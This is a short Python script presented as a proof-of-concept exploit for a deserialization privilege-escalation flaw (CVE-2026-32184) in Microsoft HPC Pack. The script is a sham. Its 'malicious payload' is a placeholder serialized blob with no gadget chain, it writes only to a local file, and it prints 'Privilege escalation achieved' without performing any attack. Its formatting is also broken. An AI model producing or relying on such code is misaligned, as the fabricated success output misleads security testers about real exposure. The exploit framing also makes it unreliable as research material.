The following code is for security research and authorized testing only.
python
import subprocess
# Proof of Concept for CVE-2026-32184
# This script demonstrates the concept of deserialization vulnerability in Microsoft HPC Pack.
# Note: Actual exploitation requires specific gadget chains and valid serialized payloads.
def generate_malicious_payload():
# In a real scenario, this would be a serialized .NET object (e.g., using ObjectDataProvider)
# Placeholder for the malicious serialized data structure
payload = "AAEAAAD/////AQAAAAAAAAAMAgAAAE1NaWNyb3NvZnQuU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQUBAAAAH01pY3Jvc29mdC5TeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyBAAAAAhjaGFyc2V0BmNhcGFjaXR5B21heENhcGFjaXR5Bm1heFNpemUIc2l6ZQZpc0V4cGFuZGFibGUBX3N0cmluZ0FycmF5B3N0cmluZ1ZhbHVlAAECAgAAAQAAAAAAAAAB///+AQAAAAQAAAAQAAAACQAAAAAAAAAAAAA="
return payload
def exploit():
print("[*] Generating malicious payload for CVE-2026-32184...")
payload = generate_malicious_payload()
# The attacker would need to write this payload to a location processed by HPC Pack
target_file = "C:\\Program Files\\Microsoft HPC Pack 2016\\Data\\Scheduler\\MaliciousData.bin"
print(f"[*] Attempting to write payload to target: {target_file}")
try:
# Simulating the payload injection
with open("malicious_payload.bin", "wb") as f:
f.write(payload.encode())
print("[+] Payload generated successfully.")
print("[*] Low privilege user triggers the service to deserialize the data...")
print("[+] Privilege escalation achieved (Conceptual).")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit()